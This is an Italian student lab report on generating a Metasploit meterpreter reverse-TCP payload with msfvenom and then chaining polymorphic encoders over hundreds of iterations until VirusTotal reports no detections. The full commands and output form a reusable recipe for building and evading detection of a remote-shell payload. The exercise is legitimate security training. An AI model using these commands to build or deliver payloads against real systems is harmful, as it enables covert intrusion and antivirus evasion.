

S9L1-Consegna

Fase 1: Preparazione e Generazione del payload visto a lezione:

Eseguendo il payload con `msfvenom`. L'output del terminale ha confermato che non è stato usato alcun encoder (`No encoder specified`), creando un file grezzo di 354 byte.

```
File Actions Edit View Help
l-$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=5959 -a x86 --platform windows -f raw | hexdump
No encoder specified, outputting raw payload
Payload size: 354 bytes
```

Fase 2: Analisi della Rilevabilità

Testando il payload su **VirusTotal**. Come previsto, il file è stato **rilevato** da molti antivirus.

The screenshot shows the VirusTotal web interface. The file being analyzed is identified as `metacoder/shikata`. The 'Security vendors' analysis' section shows that 13 out of 14 vendors detected the file as malicious, with specific names like `Exploit.Metacoder.Shikata.Gen` and `Unknown.exploit-kit.metacoder` listed. Only three vendors (Acronis, AhnLab, and AliCloud) reported the file as 'Undetected'.

Security vendor	Detection
ALYac	Exploit.Metacoder.Shikata.Gen
Arcabit	Exploit.Metacoder.Shikata.Gen
BitDefender	Exploit.Metacoder.Shikata.Gen
CTX	Unknown.exploit-kit.metacoder
Emsisoft	Exploit.Metacoder.Shikata.Gen (B)
eScan	Exploit.Metacoder.Shikata.Gen
Fortinet	Data/Shikata.Altr
GData	Exploit.Metacoder.Shikata.Gen
VIPRE	Exploit.Metacoder.Shikata.Gen
Acronis (Static ML)	Undetected
AhnLab-V3	Undetected
AliCloud	Undetected

Fase 3: Migliorare la Non Rilevabilità

Un singolo encoder non è sufficiente, quindi ho incatenato più encoder (x86/shikata_ga_nai e x86/xro_dynamic) e usato 300 iterazioni, un numero molto elevato aumentando significativamente la complessità del codice. Il risultato è un file (polimorficomm_v2.exe) con una dimensione di 17704 byte.

```
(kali㉿kali)-[~/Desktop]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.4
  LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 300
-f raw | msfvenom -a x86 --platform windows -e x86/xro_dynamic -i 3
00 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_na
i -i 300 -o polimorficomm_v2.exe
Attempting to read payload from STDIN ...
Attempting to read payload from STDIN ...
Found 1 compatible encoders
Attempting to encode payload with 300 iterations of x86/shikata_ga_
nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai succeeded with size 462 (iteration=3)
x86/shikata_ga_nai succeeded with size 489 (iteration=4)
x86/shikata_ga_nai succeeded with size 516 (iteration=5)
x86/shikata_ga_nai succeeded with size 543 (iteration=6)
```

```
x86/shikata_ga_nai succeeded with size 17588 (iteration=295)
x86/shikata_ga_nai succeeded with size 17617 (iteration=296)
x86/shikata_ga_nai succeeded with size 17646 (iteration=297)
x86/shikata_ga_nai succeeded with size 17675 (iteration=298)
x86/shikata_ga_nai succeeded with size 17704 (iteration=299)
x86/shikata_ga_nai chosen with final size 17704
Payload size: 17704 bytes
Saved as: polimorficomm_v2.exe
```

```
(kali㉿kali)-[~/Desktop]
$
```

Fase 4: Test e Analisi Finale

Testandolo su VirusTotal ho ottenuto: **0/62**. Il file non è stato rilevato da nessuno dei motori antivirus.

The screenshot shows the VirusTotal web interface. At the top, there's a header with the VirusTotal logo and a search icon. Below the header, there are tabs for SUMMARY, DETECTION, DETAILS, and COMMUNITY. A green banner promotes joining the community. The main content area shows a green checkmark and the text "No security vendors flagged this file as malicious". Below this is a circular progress indicator showing "0 / 62" for the Community Score. The file name "polimorficomm_v2.exe" and its SHA-256 hash "39352c7a47fa728afed6128b537639f47d0c139f20f60785966f23d1ba1f76a" are displayed. The analysis date and time "2025-09-08 17:23:52 UTC" are shown at the bottom.

Max size 650MB

VIRUSTOTAL

SUMMARY DETECTION DETAILS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

✓

No security vendors flagged this file as malicious

0 / 62

Community Score

39352c7a47fa728afed6128b537639f47d0c139f20f60785966f23d1ba1f76a

polimorficomm_v2.exe

2025-09-08 17:23:52 UTC